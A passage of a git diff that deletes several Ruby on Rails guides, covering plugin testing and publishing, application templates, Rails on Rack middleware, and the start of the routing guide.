-  def test_a_hickwalls_yaffle_text_field_should_be_last_squawk
-    assert_equal "last_squawk", Hickwall.yaffle_text_field
-  end
-
-  def test_a_wickwalls_yaffle_text_field_should_be_last_tweet
-    assert_equal "last_tweet", Wickwall.yaffle_text_field
-  end
-
-  def test_hickwalls_squawk_should_populate_last_squawk
-    hickwall = Hickwall.new
-    hickwall.squawk("Hello World")
-    assert_equal "squawk! Hello World", hickwall.last_squawk
-  end
-
-  def test_wickwalls_squawk_should_populate_last_tweet
-    wickwall = Wickwall.new
-    wickwall.squawk("Hello World")
-    assert_equal "squawk! Hello World", wickwall.last_tweet
-  end
-end
-</ruby>
-
-Run the test to make sure the last two tests fail with an error that contains "NoMethodError: undefined method `squawk'",
-then update 'acts_as_yaffle.rb' to look like this:
-
-<ruby>
-# yaffle/lib/yaffle/acts_as_yaffle.rb	
-
-module Yaffle
-  module ActsAsYaffle
-    extend ActiveSupport::Concern
-
-    included do
-    end
-
-    module ClassMethods
-      def acts_as_yaffle(options = {})
-        cattr_accessor :yaffle_text_field
-        self.yaffle_text_field = (options[:yaffle_text_field] || :last_squawk).to_s
-      end
-    end
-
-    def squawk(string)
-      write_attribute(self.class.yaffle_text_field, string.to_squawk)
-    end
-
-  end
-end
-
-ActiveRecord::Base.send :include, Yaffle::ActsAsYaffle
-</ruby>
-
-Run +rake+ one final time and you should see:
-
-<shell>
-	7 tests, 7 assertions, 0 failures, 0 errors, 0 skips
-</shell>
-
-NOTE: The use of +write_attribute+ to write to the field in model is just one example of how a plugin can interact with the model, and will not always be the right method to use. For example, you could also use <tt>send("#{self.class.yaffle_text_field}=", string.to_squawk)</tt>.
-
-h3. Generators
-
-Generators can be included in your gem simply by creating them in a lib/generators directory of your plugin. More information about
-the creation of generators can be found in the "Generators Guide":generators.html
-
-h3. Publishing your Gem
-
-Gem plugins currently in development can easily be shared from any Git repository. To share the Yaffle gem with others, simply
-commit the code to a Git repository (like Github) and add a line to the Gemfile of the application in question:
-
-<ruby>
-gem 'yaffle', :git => 'git://github.com/yaffle_watcher/yaffle.git'
-</ruby>
-
-After running +bundle install+, your gem functionality will be available to the application.
-
-When the gem is ready to be shared as a formal release, it can be published to "RubyGems":http://www.rubygems.org.
-For more information about publishing gems to RubyGems, see: "http://blog.thepete.net/2010/11/creating-and-publishing-your-first-ruby.html":http://blog.thepete.net/2010/11/creating-and-publishing-your-first-ruby.html
-
-h3. Non-Gem Plugins
-
-Non-gem plugins are useful for functionality that won't be shared with another project. Keeping your custom functionality in the
-vendor/plugins directory un-clutters the rest of the application.
-
-Move the directory that you created for the gem based plugin into the vendor/plugins directory of a generated Rails application, create a vendor/plugins/yaffle/init.rb file that contains "require 'yaffle'" and everything will still work.
-
-<ruby>
-# yaffle/init.rb
-
-require 'yaffle'
-</ruby>
-
-You can test this by changing to the Rails application that you added the plugin to and starting a rails console. Once in the
-console we can check to see if the String has an instance method to_squawk:
-
-<shell>
-$ cd my_app
-$ rails console
-$ "Rails plugins are easy!".to_squawk
-</shell>
-
-You can also remove the .gemspec, Gemfile and Gemfile.lock files as they will no longer be needed.
-
-h3. RDoc Documentation
-
-Once your plugin is stable and you are ready to deploy do everyone else a favor and document it! Luckily, writing documentation for your plugin is easy.
-
-The first step is to update the README file with detailed information about how to use your plugin. A few key things to include are:
-
-* Your name
-* How to install
-* How to add the functionality to the app (several examples of common use cases)
-* Warnings, gotchas or tips that might help users and save them time
-
-Once your README is solid, go through and add rdoc comments to all of the methods that developers will use. It's also customary to add '#:nodoc:' comments to those parts of the code that are not included in the public api.
-
-Once your comments are good to go, navigate to your plugin directory and run:
-
-<shell>
-$ rake rdoc
-</shell>
-
-h4. References
-
-* "Developing a RubyGem using Bundler":https://github.com/radar/guides/blob/master/gem-development.md
-* "Using Gemspecs As Intended":http://yehudakatz.com/2010/04/02/using-gemspecs-as-intended/
-* "Gemspec Reference":http://docs.rubygems.org/read/chapter/20
-* "GemPlugins":http://www.mbleigh.com/2008/06/11/gemplugins-a-brief-introduction-to-the-future-of-rails-plugins
-* "Keeping init.rb thin":http://daddy.platte.name/2007/05/rails-plugins-keep-initrb-thin.html
diff --git a/railties/guides/source/rails_application_templates.textile b/railties/guides/source/rails_application_templates.textile
deleted file mode 100644
index 3b51a52733..0000000000
--- a/railties/guides/source/rails_application_templates.textile
+++ /dev/null
@@ -1,240 +0,0 @@
-h2. Rails Application Templates
-
-Application templates are simple Ruby files containing DSL for adding plugins/gems/initializers etc. to your freshly created Rails project or an existing Rails project.
-
-By referring to this guide, you will be able to:
-
-* Use templates to generate/customize Rails applications
-* Write your own reusable application templates using the Rails template API
-
-endprologue.
-
-h3. Usage
-
-To apply a template, you need to provide the Rails generator with the location of the template you wish to apply, using -m option. This can either be path to a file or a URL.
-
-<shell>
-$ rails new blog -m ~/template.rb
-$ rails new blog -m http://example.com/template.rb
-</shell>
-
-You can use the rake task +rails:template+ to apply templates to an existing Rails application. The location of the template needs to be passed in to an environment variable named LOCATION. Again, this can either be path to a file or a URL.
-
-<shell>
-$ rake rails:template LOCATION=~/template.rb
-$ rake rails:template LOCATION=http://example.com/template.rb
-</shell>
-
-h3. Template API
-
-Rails templates API is very self explanatory and easy to understand. Here's an example of a typical Rails template:
-
-<ruby>
-# template.rb
-run "rm public/index.html"
-generate(:scaffold, "person name:string")
-route "root :to => 'people#index'"
-rake("db:migrate")
-
-git :init
-git :add => "."
-git :commit => "-a -m 'Initial commit'"
-</ruby>
-
-The following sections outlines the primary methods provided by the API:
-
-h4. gem(name, options = {})
-
-Adds a +gem+ entry for the supplied gem to the generated application’s +Gemfile+.
-
-For example, if your application depends on the gems +bj+ and +nokogiri+:
-
-<ruby>
-gem "bj"
-gem "nokogiri"
-</ruby>
-
-Please note that this will NOT install the gems for you and you will have to run +bundle install+ to do that.
-
-<ruby>
-bundle install
-</ruby>
-
-h4. gem_group(*names, &block)
-
-Wraps gem entries inside a group.
-
-For example, if you want to load +rspec-rails+ only in +development+ and +test+ group:
-
-<ruby>
-gem_group :development, :test do
-  gem "rspec-rails"
-end
-</ruby>
-
-h4. add_source(source, options = {})
-
-Adds the given source to the generated application's +Gemfile+.
-
-For example, if you need to source a gem from "http://code.whytheluckystiff.net":
-
-<ruby>
-add_source "http://code.whytheluckystiff.net"
-</ruby>
-
-h4. plugin(name, options = {})
-
-Installs a plugin to the generated application.
-
-Plugin can be installed from Git:
-
-<ruby>
-plugin 'authentication', :git => 'git://github.com/foor/bar.git'
-</ruby>
-
-You can even install plugins as git submodules:
-
-<ruby>
-plugin 'authentication', :git => 'git://github.com/foor/bar.git',
-                         :submodule => true
-</ruby>
-
-Please note that you need to +git :init+ before you can install a plugin as a submodule.
-
-Or use plain old SVN:
-
-<ruby>
-plugin 'usingsvn', :svn => 'svn://example.com/usingsvn/trunk'
-</ruby>
-
-h4. vendor/lib/file/initializer(filename, data = nil, &block)
-
-Adds an initializer to the generated application’s +config/initializers+ directory.
-
-Lets say you like using +Object#not_nil?+ and +Object#not_blank?+:
-
-<ruby>
-initializer 'bloatlol.rb', <<-CODE
-class Object
-  def not_nil?
-    !nil?
-  end
-
-  def not_blank?
-    !blank?
-  end
-end
-CODE
-</ruby>
-
-Similarly +lib()+ creates a file in the +lib/+ directory and +vendor()+ creates a file in the +vendor/+ directory.
-
-There is even +file()+, which accepts a relative path from +Rails.root+ and creates all the directories/file needed:
-
-<ruby>
-file 'app/components/foo.rb', <<-CODE
-class Foo
-end
-CODE
-</ruby>
-
-That’ll create +app/components+ directory and put +foo.rb+ in there.
-
-h4. rakefile(filename, data = nil, &block)
-
-Creates a new rake file under +lib/tasks+ with the supplied tasks:
-
-<ruby>
-rakefile("bootstrap.rake") do
-  <<-TASK
-    namespace :boot do
-      task :strap do
-        puts "i like boots!"
-      end
-    end
-  TASK
-end
-</ruby>
-
-The above creates +lib/tasks/bootstrap.rake+ with a +boot:strap+ rake task.
-
-h4. generate(what, args)
-
-Runs the supplied rails generator with given arguments.
-
-<ruby>
-generate(:scaffold, "person", "name:string", "address:text", "age:number")
-</ruby>
-
-h4. run(command)
-
-Executes an arbitrary command. Just like the backticks. Let's say you want to remove the +public/index.html+ file:
-
-<ruby>
-run "rm public/index.html"
-</ruby>
-
-h4. rake(command, options = {})
-
-Runs the supplied rake tasks in the Rails application. Let's say you want to migrate the database:
-
-<ruby>
-rake "db:migrate"
-</ruby>
-
-You can also run rake tasks with a different Rails environment:
-
-<ruby>
-rake "db:migrate", :env => 'production'
-</ruby>
-
-h4. route(routing_code)
-
-This adds a routing entry to the +config/routes.rb+ file. In above steps, we generated a person scaffold and also removed +public/index.html+. Now to make +PeopleController#index+ as the default page for the application:
-
-<ruby>
-route "root :to => 'person#index'"
-</ruby>
-
-h4. inside(dir)
-
-Enables you to run a command from the given directory. For example, if you have a copy of edge rails that you wish to symlink from your new apps, you can do this:
-
-<ruby>
-inside('vendor') do
-  run "ln -s ~/commit-rails/rails rails"
-end
-</ruby>
-
-h4. ask(question)
-
-+ask()+ gives you a chance to get some feedback from the user and use it in your templates. Lets say you want your user to name the new shiny library you’re adding:
-
-<ruby>
-lib_name = ask("What do you want to call the shiny library ?")
-lib_name << ".rb" unless lib_name.index(".rb")
-
-lib lib_name, <<-CODE
-class Shiny
-end
-CODE
-</ruby>
-
-h4. yes?(question) or no?(question)
-
-These methods let you ask questions from templates and decide the flow based on the user’s answer. Lets say you want to freeze rails only if the user want to:
-
-<ruby>
-rake("rails:freeze:gems") if yes?("Freeze rails gems ?")
-no?(question) acts just the opposite.
-</ruby>
-
-h4. git(:command)
-
-Rails templates let you run any git command:
-
-<ruby>
-git :init
-git :add => "."
-git :commit => "-a -m 'Initial commit'"
-</ruby>
diff --git a/railties/guides/source/rails_on_rack.textile b/railties/guides/source/rails_on_rack.textile
deleted file mode 100644
index d6cbd84b1f..0000000000
--- a/railties/guides/source/rails_on_rack.textile
+++ /dev/null
@@ -1,235 +0,0 @@
-h2. Rails on Rack
-
-This guide covers Rails integration with Rack and interfacing with other Rack components. By referring to this guide, you will be able to:
-
-* Create Rails Metal applications
-* Use Rack Middlewares in your Rails applications
-* Understand Action Pack's internal Middleware stack
-* Define a custom Middleware stack
-
-endprologue.
-
-WARNING: This guide assumes a working knowledge of Rack protocol and Rack concepts such as middlewares, url maps and +Rack::Builder+.
-
-h3. Introduction to Rack
-
-bq. Rack provides a minimal, modular and adaptable interface for developing web applications in Ruby. By wrapping HTTP requests and responses in the simplest way possible, it unifies and distills the API for web servers, web frameworks, and software in between (the so-called middleware) into a single method call.
-
-- "Rack API Documentation":http://rack.rubyforge.org/doc/
-
-Explaining Rack is not really in the scope of this guide. In case you are not familiar with Rack's basics, you should check out the "Resources":#resources section below.
-
-h3. Rails on Rack
-
-h4. Rails Application's Rack Object
-
-<tt>ActionController::Dispatcher.new</tt> is the primary Rack application object of a Rails application. Any Rack compliant web server should be using +ActionController::Dispatcher.new+ object to serve a Rails application.
-
-h4. +rails server+
-
-<tt>rails server</tt> does the basic job of creating a +Rack::Builder+ object and starting the webserver. This is Rails' equivalent of Rack's +rackup+ script.
-
-Here's how +rails server+ creates an instance of +Rack::Builder+
-
-<ruby>
-app = Rack::Builder.new {
-  use Rails::Rack::LogTailer unless options[:detach]
-  use Rails::Rack::Debugger if options[:debugger]
-  use ActionDispatch::Static
-  run ActionController::Dispatcher.new
-}.to_app
-</ruby>
-
-Middlewares used in the code above are primarily useful only in the development environment. The following table explains their usage:
-
-|_.Middleware|_.Purpose|
-|+Rails::Rack::LogTailer+|Appends log file output to console|
-|+ActionDispatch::Static+|Serves static files inside +Rails.root/public+ directory|
-|+Rails::Rack::Debugger+|Starts Debugger|
-
-h4. +rackup+
-
-To use +rackup+ instead of Rails' +rails server+, you can put the following inside +config.ru+ of your Rails application's root directory:
-
-<ruby>
-# Rails.root/config.ru
-require "config/environment"
-
-use Rails::Rack::LogTailer
-use ActionDispatch::Static
-run ActionController::Dispatcher.new
-</ruby>
-
-And start the server:
-
-<shell>
-$ rackup config.ru
-</shell>
-
-To find out more about different +rackup+ options:
-
-<shell>
-$ rackup --help
-</shell>
-
-h3. Action Controller Middleware Stack
-
-Many of Action Controller's internal components are implemented as Rack middlewares. +ActionController::Dispatcher+ uses +ActionController::MiddlewareStack+ to combine various internal and external middlewares to form a complete Rails Rack application.
-
-NOTE: +ActionController::MiddlewareStack+ is Rails' equivalent of +Rack::Builder+, but built for better flexibility and more features to meet Rails' requirements.
-
-h4. Inspecting Middleware Stack
-
-Rails has a handy rake task for inspecting the middleware stack in use:
-
-<shell>
-$ rake middleware
-</shell>
-
-For a freshly generated Rails application, this might produce something like:
-
-<ruby>
-use ActionDispatch::Static
-use Rack::Lock
-use ActiveSupport::Cache::Strategy::LocalCache
-use Rack::Runtime
-use Rails::Rack::Logger
-use ActionDispatch::ShowExceptions
-use ActionDispatch::RemoteIp
-use Rack::Sendfile
-use ActionDispatch::Callbacks
-use ActiveRecord::ConnectionAdapters::ConnectionManagement
-use ActiveRecord::QueryCache
-use ActionDispatch::Cookies
-use ActionDispatch::Session::CookieStore
-use ActionDispatch::Flash
-use ActionDispatch::ParamsParser
-use Rack::MethodOverride
-use ActionDispatch::Head
-use ActionDispatch::BestStandardsSupport
-run Blog::Application.routes
-</ruby>
-
-Purpose of each of this middlewares is explained in the "Internal Middlewares":#internal-middleware-stack section.
-
-h4. Configuring Middleware Stack
-
-Rails provides a simple configuration interface +config.middleware+ for adding, removing and modifying the middlewares in the middleware stack via +application.rb+ or the environment specific configuration file <tt>environments/&lt;environment&gt;.rb</tt>.
-
-h5. Adding a Middleware
-
-You can add a new middleware to the middleware stack using any of the following methods:
-
-* <tt>config.middleware.use(new_middleware, args)</tt> - Adds the new middleware at the bottom of the middleware stack.
-
-* <tt>config.middleware.insert_before(existing_middleware, new_middleware, args)</tt> - Adds the new middleware before the specified existing middleware in the middleware stack.
-
-* <tt>config.middleware.insert_after(existing_middleware, new_middleware, args)</tt> - Adds the new middleware after the specified existing middleware in the middleware stack.
-
-<ruby>
-# config/application.rb
-
-# Push Rack::BounceFavicon at the bottom
-config.middleware.use Rack::BounceFavicon
-
-# Add Lifo::Cache after ActiveRecord::QueryCache.
-# Pass { :page_cache => false } argument to Lifo::Cache.
-config.middleware.insert_after ActiveRecord::QueryCache, Lifo::Cache, :page_cache => false
-</ruby>
-
-h5. Swapping a Middleware
-
-You can swap an existing middleware in the middleware stack using +config.middleware.swap+.
-
-<ruby>
-# config/application.rb
-
-# Replace ActionController::Failsafe with Lifo::Failsafe
-config.middleware.swap ActionController::Failsafe, Lifo::Failsafe
-</ruby>
-
-h5. Middleware Stack is an Array
-
-The middleware stack behaves just like a normal +Array+. You can use any +Array+ methods to insert, reorder, or remove items from the stack. Methods described in the section above are just convenience methods.
-
-For example, the following removes the middleware matching the supplied class name:
-
-<ruby>
-config.middleware.delete(middleware)
-</ruby>
-
-h4. Internal Middleware Stack
-
-Much of Action Controller's functionality is implemented as Middlewares. The following table explains the purpose of each of them:
-
-|_.Middleware|_.Purpose|
-|+Rack::Lock+|Sets <tt>env["rack.multithread"]</tt> flag to +true+ and wraps the application within a Mutex.|
-|+ActionController::Failsafe+|Returns HTTP Status +500+ to the client if an exception gets raised while dispatching.|
-|+ActiveRecord::QueryCache+|Enables the Active Record query cache.|
-|+ActionDispatch::Session::CookieStore+|Uses the cookie based session store.|
-|+ActionDispatch::Session::CacheStore+|Uses the Rails cache based session store.|
-|+ActionDispatch::Session::MemCacheStore+|Uses the memcached based session store.|
-|+ActiveRecord::SessionStore+|Uses the database based session store.|
-|+Rack::MethodOverride+|Sets HTTP method based on +_method+ parameter or <tt>env["HTTP_X_HTTP_METHOD_OVERRIDE"]</tt>.|
-|+Rack::Head+|Discards the response body if the client sends a +HEAD+ request.|
-
-TIP: It's possible to use any of the above middlewares in your custom Rack stack.
-
-h4. Customizing Internal Middleware Stack
-
-It's possible to replace the entire middleware stack with a custom stack using <tt>ActionController::Dispatcher.middleware=</tt>.
-
-Put the following in an initializer:
-
-<ruby>
-# config/initializers/stack.rb
-ActionController::Dispatcher.middleware = ActionController::MiddlewareStack.new do |m|
-  m.use ActionController::Failsafe
-  m.use ActiveRecord::QueryCache
-  m.use Rack::Head
-end
-</ruby>
-
-And now inspecting the middleware stack:
-
-<shell>
-$ rake middleware
-(in /Users/lifo/Rails/blog)
-use ActionController::Failsafe
-use ActiveRecord::QueryCache
-use Rack::Head
-run ActionController::Dispatcher.new
-</shell>
-
-h4. Using Rack Builder
-
-The following shows how to replace use +Rack::Builder+ instead of the Rails supplied +MiddlewareStack+.
-
-<strong>Clear the existing Rails middleware stack</strong>
-
-<ruby>
-# config/application.rb
-config.middleware.clear
-</ruby>
-
-<br />
-<strong>Add a +config.ru+ file to +Rails.root+</strong>
-
-<ruby>
-# config.ru
-use MyOwnStackFromScratch
-run ActionController::Dispatcher.new
-</ruby>
-
-h3. Resources
-
-h4. Learning Rack
-
-* "Official Rack Website":http://rack.github.com
-* "Introducing Rack":http://chneukirchen.org/blog/archive/2007/02/introducing-rack.html
-* "Ruby on Rack #1 - Hello Rack!":http://m.onkey.org/ruby-on-rack-1-hello-rack
-* "Ruby on Rack #2 - The Builder":http://m.onkey.org/ruby-on-rack-2-the-builder
-
-h4. Understanding Middlewares
-
-* "Railscast on Rack Middlewares":http://railscasts.com/episodes/151-rack-middleware
diff --git a/railties/guides/source/routing.textile b/railties/guides/source/routing.textile
deleted file mode 100644
index 29c729592b..0000000000
--- a/railties/guides/source/routing.textile
+++ /dev/null
@@ -1,885 +0,0 @@
-h2. Rails Routing from the Outside In
-
-This guide covers the user-facing features of Rails routing. By referring to this guide, you will be able to:
-
-* Understand the code in +routes.rb+
-* Construct your own routes, using either the preferred resourceful style or the <tt>match</tt> method
-* Identify what parameters to expect an action to receive
-* Automatically create paths and URLs using route helpers
-* Use advanced techniques such as constraints and Rack endpoints
-
-endprologue.
-
-h3. The Purpose of the Rails Router
-
-The Rails router recognizes URLs and dispatches them to a controller's action. It can also generate paths and URLs, avoiding the need to hardcode strings in your views.
-
-h4. Connecting URLs to Code
-
-When your Rails application receives an incoming request
-
-<plain>
-GET /patients/17
-</plain>
-
-it asks the router to match it to a controller action. If the first matching route is
-
-<ruby>
-match "/patients/:id" => "patients#show"
-</ruby>
-
-the request is dispatched to the +patients+ controller's +show+ action with <tt>{ :id => "17" }</tt> in +params+.
-
-h4. Generating Paths and URLs from Code
-
-You can also generate paths and URLs. If your application contains this code:
-
-<ruby>
-@patient = Patient.find(17)
-</ruby>
-
-<erb>
-<%= link_to "Patient Record", patient_path(@patient) %>
-</erb>
-
-The router will generate the path +/patients/17+. This reduces the brittleness of your view and makes your code easier to understand. Note that the id does not need to be specified in the route helper.
-
-h3. Resource Routing: the Rails Default
-
-Resource routing allows you to quickly declare all of the common routes for a given resourceful controller. Instead of declaring separate routes for your +index+, +show+, +new+, +edit+, +create+, +update+ and +destroy+ actions, a resourceful route declares them in a single line of code.
-
-h4. Resources on the Web
-
-Browsers request pages from Rails by making a request for a URL using a specific HTTP method, such as +GET+, +POST+, +PUT+ and +DELETE+. Each method is a request to perform an operation on the resource. A resource route maps a number of related requests to actions in a single controller.
-
-When your Rails application receives an incoming request for
-
-<plain>
-DELETE /photos/17
-</plain>
-
-it asks the router to map it to a controller action. If the first matching route is
-
-<ruby>
-resources :photos
-</ruby>
-
-Rails would dispatch that request to the +destroy+ method on the +photos+ controller with <tt>{ :id => "17" }</tt> in +params+.
-
-h4. CRUD, Verbs, and Actions
-
-In Rails, a resourceful route provides a mapping between HTTP verbs and URLs to controller actions. By convention, each action also maps to particular CRUD operations in a database. A single entry in the routing file, such as
-
-<ruby>
-resources :photos
-</ruby>
-
-creates seven different routes in your application, all mapping to the +Photos+ controller:
-
-|_. HTTP Verb |_.Path            |_.action |_.used for                                   |
-|GET          |/photos           |index    |display a list of all photos                 |
-|GET          |/photos/new       |new      |return an HTML form for creating a new photo |
-|POST         |/photos           |create   |create a new photo                           |
-|GET          |/photos/:id       |show     |display a specific photo                     |
-|GET          |/photos/:id/edit  |edit     |return an HTML form for editing a photo      |
-|PUT          |/photos/:id       |update   |update a specific photo                      |
-|DELETE       |/photos/:id       |destroy  |delete a specific photo                      |
-
-
-NOTE: Rails routes are matched in the order they are specified, so if you have a +resources :photos+ above a +get 'photos/poll'+ the +show+ action's route for the +resources+ line will be matched before the +get+ line. To fix this, move the +get+ line *above* the +resources+ line so that it is matched first.
-
-h4. Paths and URLs
-
-Creating a resourceful route will also expose a number of helpers to the controllers in your application. In the case of +resources :photos+:
-
-* +photos_path+ returns +/photos+
-* +new_photo_path+ returns +/photos/new+
-* +edit_photo_path(:id)+ returns +/photos/:id/edit+ (for instance, +edit_photo_path(10)+ returns +/photos/10/edit+)
-* +photo_path(:id)+ returns +/photos/:id+ (for instance, +photo_path(10)+ returns +/photos/10+)
-
-Each of these helpers has a corresponding +_url+ helper (such as +photos_url+) which returns the same path prefixed with the current host, port and path prefix.
-
-NOTE: Because the router uses the HTTP verb and URL to match inbound requests, four URLs map to seven different actions.
-
-h4. Defining Multiple Resources at the Same Time
-
-If you need to create routes for more than one resource, you can save a bit of typing by defining them all with a single call to +resources+:
-
-<ruby>
-resources :photos, :books, :videos
-</ruby>
-
-This works exactly the same as
-
-<ruby>
-resources :photos
-resources :books
-resources :videos
-</ruby>
-
-h4. Singular Resources
-
-Sometimes, you have a resource that clients always look up without referencing an ID. For example, you would like +/profile+ to always show the profile of the currently logged in user. In this case, you can use a singular resource to map +/profile+ (rather than +/profile/:id+) to the +show+ action.
-
-<ruby>
-match "profile" => "users#show"
-</ruby>
-
-This resourceful route
-
-<ruby>
-resource :geocoder
-</ruby>
-
-creates six different routes in your application, all mapping to the +Geocoders+ controller:
-
-|_.HTTP Verb |_.Path         |_.action |_.used for                                    |
-|GET         |/geocoder/new  |new      |return an HTML form for creating the geocoder |
-|POST        |/geocoder      |create   |create the new geocoder                       |
-|GET         |/geocoder      |show     |display the one and only geocoder resource    |
-|GET         |/geocoder/edit |edit     |return an HTML form for editing the geocoder  |
-|PUT         |/geocoder      |update   |update the one and only geocoder resource     |
-|DELETE      |/geocoder      |destroy  |delete the geocoder resource                  |
-
-NOTE: Because you might want to use the same controller for a singular route (+/account+) and a plural route (+/accounts/45+), singular resources map to plural controllers.
-
-A singular resourceful route generates these helpers:
-
-* +new_geocoder_path+ returns +/geocoder/new+
-* +edit_geocoder_path+ returns +/geocoder/edit+
-* +geocoder_path+ returns +/geocoder+
-
-As with plural resources, the same helpers ending in +_url+ will also include the host, port and path prefix.
-
-h4. Controller Namespaces and Routing
-
-You may wish to organize groups of controllers under a namespace. Most commonly, you might group a number of administrative controllers under an +Admin::+ namespace. You would place these controllers under the +app/controllers/admin+ directory, and you can group them together in your router:
-
-<ruby>
-namespace :admin do
-  resources :posts, :comments
-end
-</ruby>
-
-This will create a number of routes for each of the +posts+ and +comments+ controller. For +Admin::PostsController+, Rails will create:
-
-|_.HTTP Verb |_.Path                |_.action |_.named helper             |
-|GET         |/admin/posts          |index    | admin_posts_path          |
-|GET         |/admin/posts/new      |new      | new_admin_post_path       |
-|POST        |/admin/posts          |create   | admin_posts_path          |
-|GET         |/admin/posts/:id      |show     | admin_post_path(:id)      |
-|GET         |/admin/posts/:id/edit |edit     | edit_admin_post_path(:id) |
-|PUT         |/admin/posts/:id      |update   | admin_post_path(:id)      |
-|DELETE      |/admin/posts/:id      |destroy  | admin_post_path(:id)      |
-
-If you want to route +/posts+ (without the prefix +/admin+) to +Admin::PostsController+, you could use
-
-<ruby>
-scope :module => "admin" do
-  resources :posts, :comments
-end
-</ruby>
-
-or, for a single case
-
-<ruby>
-resources :posts, :module => "admin"
-</ruby>
-
-If you want to route +/admin/posts+ to +PostsController+ (without the +Admin::+ module prefix), you could use
-
-<ruby>
-scope "/admin" do
-  resources :posts, :comments
-end
-</ruby>
-
-or, for a single case
-
-<ruby>
-resources :posts, :path => "/admin/posts"
-</ruby>
-
-In each of these cases, the named routes remain the same as if you did not use +scope+. In the last case, the following paths map to +PostsController+:
-
-|_.HTTP Verb |_.Path               |_.action |_.named helper      |
-|GET         |/admin/posts         |index    | posts_path         |
-|GET         |/admin/posts/new     |new      | new_post_path      |
-|POST        |/admin/posts         |create   | posts_path         |
-|GET         |/admin/posts/:id     |show     | post_path(:id)     |
-|GET         |/admin/posts/:id/edit|edit     | edit_post_path(:id)|
-|PUT         |/admin/posts/:id     |update   | post_path(:id)     |
-|DELETE      |/admin/posts/:id     |destroy  | post_path(:id)     |
-
-h4. Nested Resources
-
-It's common to have resources that are logically children of other resources. For example, suppose your application includes these models:
-
-<ruby>
-class Magazine < ActiveRecord::Base
-  has_many :ads
-end
-
-class Ad < ActiveRecord::Base
-  belongs_to :magazine
-end
-</ruby>
-
-Nested routes allow you to capture this relationship in your routing. In this case, you could include this route declaration:
-
-<ruby>
-resources :magazines do
-  resources :ads
-end
-</ruby>
-
-In addition to the routes for magazines, this declaration will also route ads to an +AdsController+. The ad URLs require a magazine:
-
-|_.HTTP Verb |_.Path                  |_.action |_.used for                                                                 |
-|GET         |/magazines/:id/ads        |index    |display a list of all ads for a specific magazine                          |
-|GET         |/magazines/:id/ads/new    |new      |return an HTML form for creating a new ad belonging to a specific magazine |
-|POST        |/magazines/:id/ads        |create   |create a new ad belonging to a specific magazine                           |
-|GET         |/magazines/:id/ads/:id      |show     |display a specific ad belonging to a specific magazine                     |
-|GET         |/magazines/:id/ads/:id/edit |edit     |return an HTML form for editing an ad belonging to a specific magazine     |
-|PUT         |/magazines/:id/ads/:id      |update   |update a specific ad belonging to a specific magazine                      |
-|DELETE      |/magazines/:id/ads/:id      |destroy  |delete a specific ad belonging to a specific magazine                      |
-
-
-This will also create routing helpers such as +magazine_ads_url+ and +edit_magazine_ad_path+. These helpers take an instance of Magazine as the first parameter (+magazine_ads_url(@magazine)+).
-
-h5. Limits to Nesting
-
-You can nest resources within other nested resources if you like. For example:
-
-<ruby>
-resources :publishers do
-  resources :magazines do
-    resources :photos
-  end
-end
-</ruby>
-
-Deeply-nested resources quickly become cumbersome. In this case, for example, the application would recognize paths such as
-
-<pre>
-/publishers/1/magazines/2/photos/3
-</pre>
-
-The corresponding route helper would be +publisher_magazine_photo_url+, requiring you to specify objects at all three levels. Indeed, this situation is confusing enough that a popular "article":http://weblog.jamisbuck.org/2007/2/5/nesting-resources by Jamis Buck proposes a rule of thumb for good Rails design:
-
-TIP: _Resources should never be nested more than 1 level deep._
-
-h4. Creating Paths and URLs From Objects
-
-In addition to using the routing helpers, Rails can also create paths and URLs from an array of parameters. For example, suppose you have this set of routes:
-
-<ruby>
-resources :magazines do
-  resources :ads
-end
-</ruby>
-
-When using +magazine_ad_path+, you can pass in instances of +Magazine+ and +Ad+ instead of the numeric IDs.
-
-<erb>
-<%= link_to "Ad details", magazine_ad_path(@magazine, @ad) %>
-</erb>
-
-You can also use +url_for+ with a set of objects, and Rails will automatically determine which route you want:
-
-<erb>
-<%= link_to "Ad details", url_for([@magazine, @ad]) %>
-</erb>
-
-In this case, Rails will see that +@magazine+ is a +Magazine+ and +@ad+ is an +Ad+ and will therefore use the +magazine_ad_path+ helper. In helpers like +link_to+, you can specify just the object in place of the full +url_for+ call:
-
-<erb>
-<%= link_to "Ad details", [@magazine, @ad] %>
-</erb>
-
-If you wanted to link to just a magazine, you could leave out the +Array+:
-
-<erb>
-<%= link_to "Magazine details", @magazine %>
-</erb>
-
-This allows you to treat instances of your models as URLs, and is a key advantage to using the resourceful style.
-
-h4. Adding More RESTful Actions
-
-You are not limited to the seven routes that RESTful routing creates by default. If you like, you may add additional routes that apply to the collection or individual members of the collection.
-
-h5. Adding Member Routes
-
-To add a member route, just add a +member+ block into the resource block:
-
-<ruby>
-resources :photos do
-  member do
-    get 'preview'
-  end
-end
-</ruby>
-
-This will recognize +/photos/1/preview+ with GET, and route to the +preview+ action of +PhotosController+. It will also create the +preview_photo_url+ and +preview_photo_path+ helpers.
-
-Within the block of member routes, each route name specifies the HTTP verb that it will recognize. You can use +get+, +put+, +post+, or +delete+ here. If you don't have multiple +member+ routes, you can also pass +:on+ to a route, eliminating the block:
-
-<ruby>
-resources :photos do
-  get 'preview', :on => :member
-end
-</ruby>
-
-h5. Adding Collection Routes
-
-To add a route to the collection:
-
-<ruby>
-resources :photos do
-  collection do
-    get 'search'
-  end
-end
-</ruby>
-
-This will enable Rails to recognize paths such as +/photos/search+ with GET, and route to the +search+ action of +PhotosController+. It will also create the +search_photos_url+ and +search_photos_path+ route helpers.
-
-Just as with member routes, you can pass +:on+ to a route:
-
-<ruby>
-resources :photos do
-  get 'search', :on => :collection
-end
-</ruby>
-
-h5. A Note of Caution
-
-If you find yourself adding many extra actions to a resourceful route, it's time to stop and ask yourself whether you're disguising the presence of another resource.
-
-h3. Non-Resourceful Routes
-
-In addition to resource routing, Rails has powerful support for routing arbitrary URLs to actions. Here, you don't get groups of routes automatically generated by resourceful routing. Instead, you set up each route within your application separately.
-
-While you should usually use resourceful routing, there are still many places where the simpler routing is more appropriate. There's no need to try to shoehorn every last piece of your application into a resourceful framework if that's not a good fit.
-
-In particular, simple routing makes it very easy to map legacy URLs to new Rails actions.
-
-h4. Bound Parameters
-
-When you set up a regular route, you supply a series of symbols that Rails maps to parts of an incoming HTTP request. Two of these symbols are special: +:controller+ maps to the name of a controller in your application, and +:action+ maps to the name of an action within that controller. For example, consider one of the default Rails routes:
-
-<ruby>
-match ':controller(/:action(/:id))'
-</ruby>
-
